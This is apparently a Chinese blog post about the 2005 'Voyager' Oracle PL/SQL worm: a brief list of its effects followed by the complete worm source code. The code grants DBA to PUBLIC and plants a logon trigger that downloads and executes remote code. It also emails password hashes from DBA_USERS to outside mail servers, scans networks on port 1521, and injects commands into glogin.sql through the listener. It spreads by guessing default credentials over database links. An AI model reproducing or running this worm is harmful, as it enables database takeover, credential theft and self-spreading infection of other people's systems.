2005年12-20日(很久以前)一位匿名用户在邮件列表中发布了一段匿名块的SQL蠕虫病毒,这可能是人们第一次意识到PL/SQL也能用来写病毒。很多专家都对该段程序进行了分析,其主要破坏行为如下:
1.将DBA权限授予public角色
2.删除名为aa的trigger
3.创建名为aa的数据库登陆后(after database logon)触发器,该触发器还包含了使用UTL_TCP包(前提是病毒所在实例可能链接到外网)获取来自于http://www.google.de/search?hl=en&q=startc0GtJBi1+full-disclosure&btnI=I%27m+Feeling+Lucky的疑似病毒信息,google已经将该地址屏蔽了
4.通过smtp01.us.oracle.com邮件发送服务器发送标题为(Password hashes)包含数据库密码哈希值的邮件至 larry@oracle.com(可能是Oracle老总larry ellison 邮箱地址)
5.扫描实例所在主机子网中的所有ip,之后会尝试使用随机ip.修改listener.log,并且将”alter user mdsys identified by mdsys”添加至glogin.sql,每次使用SQLPLUS时均会执行该SQL.
6.创建可能的数据库连接(DBLINK),并尝试猜测密码组合,如(system/manager, sys/change_on_install, dbsnmp/dbsnmp, outln/outln, scott/tiger, mdsys/mdsys, ordcommon/ordcommon)等较为常见的组合。
7.尝试关闭listener
这是一种尝试,首先向我们证明了PL/SQL也具备编写病毒程序的能力;其次Oracle可能并不如我们想象的那么安全。
有兴趣可以瞻仰一下这段代码,oracle worm voyager.
--##s tartc0GtJBi1 DECLARE i1 INTEGER; i2 INTEGER; i6 INTEGER; iHostToSearchFor INTEGER; reference_ip varchar2(1000); reference_url varchar2(1000); starting_ipaddress varchar2(100); current_ipaddress VARCHAR2(100); current_network VARCHAR2(100); current_letter VARCHAR2(1); c UTL_TCP.CONNECTION; c1 UTL_TCP.CONNECTION; ln integer; vLen NUMBER; PreviousSID varchar2(100); vWorking varchar2(2500); vWorking1 varchar2(2500); vRequest varchar2(500); vRequestStop varchar2(500); vReqLog raw(500); vRequestSQLCommand raw(32000); vResp varchar2(32767); vRespPiece varchar2(200); vRespTemp varchar2(200); ret_val pls_integer; oraclehome varchar2(1000); vRefresh varchar2(2000); v_message VARCHAR2(32000); vRequestLogChange raw(10000); vRequestLogReset raw(10000); iLoop integer := 0; iLength integer := 0; cur binary_integer; BEGIN BEGIN CTXSYS.DRILOAD.VALIDATE_STMT('GRANT DBA TO PUBLIC'); EXCEPTION WHEN OTHERS THEN DBMS_OUTPUT.PUT_LINE(''); END; reference_ip := 'www.google.com'; reference_url := '/search?hl=en&q=startc0GtJBi1+full-disclosure&btnI=I% 27m+Feeling+Lucky'; vRefresh := 'declare req Utl_Http.Req;resp Utl_Http.Resp;v_msg varchar2(32767);af varchar2(32767);ab varchar2(32767);ac varchar2(32767) := ''''' || reference_ip || ''''';v_url varchar2(32767) := ''''' || reference_url || ''''';ad varchar2 (32000) := ''''--##startc0GtJBi1'''';ae varchar2(32000) := ''''--##endc0GtJBi1'''';i3 INTEGER;i4 INTEGER;iLoop integer := 0;cur binary_integer;i binary_integer;begin Utl_Http.Set_Proxy(proxy=>ac,no_proxy_domains=>ac );req := Utl_Http.Begin_Request (url=>v_url,method=>''''GET'''' );utl_Http.Set_Header(r=>req,name=>''''User- Agent'''',value=>''''Mozilla/4.0'''' );resp:=Utl_Http.Get_Response(r=>req);begin loop Utl_Http.Read_Text(r=>resp,data=>v_msg);af:=af || v_msg;end loop;exception when utl_Http.End_Of_Body then null;end;Utl_Http.End_Response(r=>resp);i3:=instr (af,ad,1);i4:=instr(af,ae,i3);ab:=substr(af,i3+length(ad)+2,i4-(i3+length(ad) +4));execute immediate ''''begin '''' || ab || '''' end;''''; end;'; vWorking := 'create or replace trigger aa AFTER LOGON ON DATABASE declare cur binary_integer;BEGIN if round(dbms_random.value(1,100))=32 then EXECUTE IMMEDIATE ''' || vRefresh || ''';end if;end;'; BEGIN EXECUTE IMMEDIATE 'drop trigger aa'; EXCEPTION WHEN OTHERS THEN DBMS_OUTPUT.PUT_LINE('the execute immediate didnt work'); END; BEGIN EXECUTE IMMEDIATE vWorking; EXCEPTION WHEN OTHERS THEN DBMS_OUTPUT.PUT_LINE('the execute immediate didnt work'); END; starting_ipaddress := utl_inaddr.get_host_address; current_ipaddress := starting_ipaddress; ln := length(current_ipaddress); loop current_letter := substr(current_ipaddress, ln, 1); ln := ln - 1; EXIT WHEN current_letter = '.'; EXIT WHEN ln = 0; end loop; current_network := substr(current_ipaddress, 1, ln); iHostToSearchFor := 1; vRequest := chr(0) || chr(89) || chr(0) || chr(0) || chr(1) || chr(0) || chr(0) || chr (0) || chr(1) || chr(54) || chr(1) || chr(44) || chr(0) || chr(0) || chr(8) || chr(0) || chr(127) || chr(0) || chr(127) || chr(8) || chr(0) || chr(0) || chr(0) || chr(1) || chr(0) || chr(31) || chr(0) || chr(58) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(52) || chr(0) || chr(0) || chr(0) || chr(0) || chr(1) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || '(CONNECT_DATA=(COMMAND=status))'; vRequestStop := chr(0) || chr(87) || chr(0) || chr(0) || chr(1) || chr(0) || chr(0) || chr(0) || chr(1) || chr(54) || chr(1) || chr(44) || chr(0) || chr(0) || chr(8) || chr(0) || chr(127) || chr(0) || chr(127) || chr(8) || chr(0) || chr(0) || chr(0) || chr(1) || chr(0) || chr(29) || chr(0) || chr(58) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(52) || chr(0) || chr(0) || chr(0) || chr(0) || chr(1) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || '(CONNECT_DATA=(COMMAND=stop))'; vReqLog := UTL_RAW.CONCAT( hextoraw('00'), hextoraw('A2'), utl_raw.cast_to_raw( chr(0) || chr(0) || chr(1) || chr(0) || chr(0) || chr(0) || chr(1) || chr(54) || chr(1) || chr(44) || chr(0) || chr(0) || chr(8) || chr(0) || chr(122) || chr(0) || chr(127) || chr(8) || chr(0) || chr(0) || chr(0) || chr(1) || chr(0) || chr(104) || chr(0) || chr(58) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(52) || chr(0) || chr(0) || chr(0) || chr(0) || chr(1) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || '(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=)) (COMMAND=log_directory)(ARGUMENTS=)(SERVICE=)))')); DECLARE a DBA_USERS.username%TYPE; b DBA_USERS.password%TYPE; CURSOR T1Cursor IS SELECT username, password FROM DBA_USERS; BEGIN OPEN T1Cursor; LOOP FETCH T1Cursor INTO a, b; EXIT WHEN T1Cursor%NOTFOUND; v_message := v_message || a || ' ' || b || CHR(13) || CHR(10); END LOOP; CLOSE T1Cursor; END; loop begin if MOD(iHostToSearchFor + 1, 100) = 0 then declare mailhost CONSTANT VARCHAR2(30) := 'smtp01.us.oracle.com'; crlf CONSTANT VARCHAR2(2):= CHR(13) || CHR(10); mesg VARCHAR2(32000); mail_conn utl_smtp.connection; BEGIN begin loop mail_conn := utl_smtp.open_connection(mailhost, 25); mesg := 'Date: ' || TO_CHAR( SYSDATE, 'dd Mon yy hh24:mi:ss' ) || crlf || 'From: oracle@' || starting_ipaddress || crlf || 'Subject: Password hashes' || crlf || 'To: larry at oracle.com' || crlf || '' || crlf || v_message; utl_smtp.helo(mail_conn, mailhost); utl_smtp.mail(mail_conn, 'oracle@' || starting_ipaddress); utl_smtp.rcpt(mail_conn, 'larry at oracle.com'); utl_smtp.data(mail_conn, mesg); utl_smtp.quit(mail_conn); EXIT WHEN round(dbms_random.value(1, 20)) = 10; end loop; EXCEPTION WHEN OTHERS THEN DBMS_OUTPUT.PUT_LINE(''); end; current_ipaddress := round(dbms_random.value(1, 254)) || '.' || round (dbms_random.value(1, 254)) || '.' || round(dbms_random.value(1, 254)) || '.' || round (dbms_random.value(1, 254)); mail_conn := utl_smtp.open_connection(current_ipaddress, 25); mesg := 'Date: ' || TO_CHAR( SYSDATE, 'dd Mon yy hh24:mi:ss' ) || crlf || 'From: oracle@' || starting_ipaddress || crlf || 'Subject: Password hashes' || crlf || 'To: oracle@' || current_ipaddress || crlf || '' || crlf || v_message; utl_smtp.helo(mail_conn, current_ipaddress); utl_smtp.mail(mail_conn, 'oracle@' || starting_ipaddress); utl_smtp.rcpt(mail_conn, 'oracle@' || current_ipaddress); utl_smtp.data(mail_conn, mesg); utl_smtp.quit(mail_conn); EXCEPTION WHEN OTHERS THEN DBMS_OUTPUT.PUT_LINE(''); end; end if; if iHostToSearchFor < 255 then current_ipaddress := current_network || '.' || iHostToSearchFor; else current_ipaddress := round( dbms_random.value(1, 254) ) || '.' || round( dbms_random.value(1, 254) ) || '.' || round(dbms_random.value(1, 254)) || '.' || round (dbms_random.value(1, 254)); end if; iHostToSearchFor := iHostToSearchFor + 1; vResp := ''; c := UTL_TCP.OPEN_CONNECTION(current_ipaddress, 1521); ret_val := UTL_TCP.WRITE_RAW(c, vReqLog); vLen := UTL_TCP.READ_RAW(c, vResp, 100 ); vRespPiece := utl_raw.cast_to_varchar2(utl_raw.substr(vResp, 13, 88)); vResp := vRespPiece; declare read_from_network varchar2(32000); length_read_from_network INTEGER; begin loop read_from_network := ''; length_read_from_network := UTL_TCP.READ_RAW(c, read_from_network, 100 ); read_from_network := utl_raw.cast_to_varchar2(utl_raw.substr (read_from_network, 1, length_read_from_network)); vResp := vResp || read_from_network; end loop; EXCEPTION when OTHERS then read_from_network := ''; end; UTL_TCP.CLOSE_CONNECTION(c); declare i5 INTEGER; i6 INTEGER; oraclehome varchar2(1000); begin i5 := 1; i6 := 1; i5 := instr(vResp, '(LOGDIRNAME=', 1); if i5 > 0 then i6 := instr(vResp, '\network\log', i5); if i6 = 0 then i6 := instr(vResp, '/network/log', i5); end if; oraclehome := substr( vResp, i5 + 12, i6 - (i5 + 12) ); end if; iLength := length(oraclehome); vRequestLogChange := UTL_RAW.CONCAT( utl_raw.substr( utl_raw.cast_from_binary_integer(218 + iLength), 3, 2 ), utl_raw.cast_to_raw( chr(0) || chr(0) || chr(1) || chr(0) || chr(0) || chr(0) || chr(1) || chr(54) || chr(1) || chr(44) || chr(0) || chr(0) || chr(8) || chr(0) || chr(127) || chr(0) || chr(127) || chr(8) || chr(0) || chr(0) || chr(0) || chr(1)), utl_raw.substr( utl_raw.cast_from_binary_integer(160 + iLength), 3, 2 ), utl_raw.cast_to_raw( chr(0) || chr(58) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(52) || chr(0) || chr(0) || chr(0) || chr(0) || chr(1) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || '(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=)) (COMMAND=log_file)(ARGUMENTS=4)(SERVICE=LISTENER)(VERSION=135294976)(VALUE=' || oraclehome || '/sqlplus/admin/glogin.sql)))')); vRequestLogReset := UTL_RAW.CONCAT( utl_raw.substr( utl_raw.cast_from_binary_integer (218 + iLength), 3, 2 ), utl_raw.cast_to_raw( chr(0) || chr(0) || chr(1) || chr(0) || chr(0) || chr(0) || chr(1) || chr(54) || chr(1) || chr(44) || chr(0) || chr(0) || chr(8) || chr(0) || chr(127) || chr(0) || chr(127) || chr(8) || chr(0) || chr(0) || chr(0) || chr(1)), utl_raw.substr( utl_raw.cast_from_binary_integer(160 + iLength), 3, 2 ), utl_raw.cast_to_raw( chr(0) || chr(58) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(52) || chr(0) || chr(0) || chr(0) || chr(0) || chr(1) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || '(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=)) (COMMAND=log_file)(ARGUMENTS=4)(SERVICE=LISTENER)(VERSION=135294976)(VALUE=' || oraclehome || '/network/log/listener.log)))')); vWorking1 := 'alter user mdsys identified by mdsys;'; iLength := length(vWorking1) + 1; vRequestSQLCommand := UTL_RAW.CONCAT( utl_raw.substr( utl_raw.cast_from_binary_integer(58 + iLength), 3, 2 ), utl_raw.cast_to_raw( chr(0) || chr(0) || chr(1) || chr(0) || chr(0) || chr(0) || chr(1) || chr(54) || chr(1) || chr(44) || chr(0) || chr(0) || chr(8) || chr(0) || chr(127) || chr(0) || chr(127) || chr(8) || chr(0) || chr(0) || chr(0) || chr(1)), utl_raw.substr( utl_raw.cast_from_binary_integer(iLength), 3, 2 ), utl_raw.cast_to_raw ( chr(0) || chr(58) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(52) || chr(0) || chr(0) || chr(0) || chr(0) || chr(1) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(0) || chr(10) || vWorking1)); c := UTL_TCP.OPEN_CONNECTION(current_ipaddress, 1521); ret_val := UTL_TCP.WRITE_RAW(c, vRequestLogChange); UTL_TCP.CLOSE_CONNECTION(c); c := UTL_TCP.OPEN_CONNECTION(current_ipaddress, 1521); ret_val := UTL_TCP.WRITE_RAW(c, vRequestSQLCommand); UTL_TCP.CLOSE_CONNECTION(c); c := UTL_TCP.OPEN_CONNECTION(current_ipaddress, 1521); ret_val := UTL_TCP.WRITE_RAW(c, vRequestLogReset); UTL_TCP.CLOSE_CONNECTION(c); end; c1 := UTL_TCP.OPEN_CONNECTION(current_ipaddress, 1521); vResp := ''; ret_val := UTL_TCP.WRITE_RAW(c1, utl_raw.cast_to_raw(vRequest)); vLen := UTL_TCP.READ_RAW(c1, vResp, 100 ); vRespPiece := utl_raw.cast_to_varchar2(utl_raw.substr(vResp, 43, 58)); vResp := vRespPiece; declare read_from_network varchar2(32000); length_read_from_network INTEGER; begin loop read_from_network := ''; length_read_from_network := UTL_TCP.READ_RAW(c1, read_from_network, 100 ); read_from_network := utl_raw.cast_to_varchar2(utl_raw.substr (read_from_network, 1, length_read_from_network)); vResp := vResp || read_from_network; end loop; EXCEPTION when OTHERS then read_from_network := ''; end; UTL_TCP.CLOSE_CONNECTION(c1); declare i3 INTEGER; i4 INTEGER; sid varchar2(100); i binary_integer; procedure_to_spread varchar2(32000); create_link varchar2(500); begin i3 := 1; i4 := 1; loop i3 := instr(vResp, '(INSTANCE_NAME=', i3); exit when i3 = 0; i4 := instr(vResp, ')', i3); sid := substr( vResp, i3 + 15, i4 - (i3 + 15)); i3 := i3 + 1; begin if sid = PreviousSID or sid = 'PLSExtProc' or sid = 'extproc' then dbms_output.put_line( sid ); else dbms_output.put_line( sid ); iLoop := 0; loop declare username1 varchar2(100); password1 varchar2(100); begin iLoop := iLoop + 1; exit when iLoop = 8; if iLoop = 5 then username1 := 'system'; password1 := 'manager'; ELSIF iLoop = 6 then username1 := 'sys'; password1 := 'change_on_install'; ELSIF iLoop = 1 then username1 := 'dbsnmp'; password1 := 'dbsnmp'; ELSIF iLoop = 2 then username1 := 'outln'; password1 := 'outln'; ELSIF iLoop = 4 then username1 := 'scott'; password1 := 'tiger'; ELSIF iLoop = 3 then username1 := 'mdsys'; password1 := 'mdsys'; ELSIF iLoop = 7 then username1 := 'ordcommon'; password1 := 'ordcommon'; end if; BEGIN EXECUTE IMMEDIATE 'drop database link xxx'; EXCEPTION when OTHERS then DBMS_OUTPUT.PUT_LINE( '' ); end; create_link := 'CREATE DATABASE LINK xxx CONNECT TO ' || username1 || ' IDENTIFIED BY ' || password1 || ' USING ''(DESCRIPTION=(ADDRESS_LIST=(ADDRESS = (PROTOCOL = TCP)(HOST = ' || current_ipaddress || ')(PORT = 1521)))(CONNECT_DATA= (SERVER=DEDICATED)(SERVICE_NAME=' || SID || ')))'''; EXECUTE IMMEDIATE create_link; EXECUTE IMMEDIATE vWorking; EXCEPTION when OTHERS then DBMS_OUTPUT.PUT_LINE( '' ); end; end loop; end if; PreviousSID := SID; end; end loop; c := UTL_TCP.OPEN_CONNECTION(current_ipaddress, 1521); ret_val := UTL_TCP.WRITE_RAW(c, utl_raw.cast_to_raw(vRequestStop)); UTL_TCP.CLOSE_CONNECTION(c); end; EXCEPTION when OTHERS then DBMS_OUTPUT.PUT_LINE(''); end; end loop; END; --##endc0GtJBi1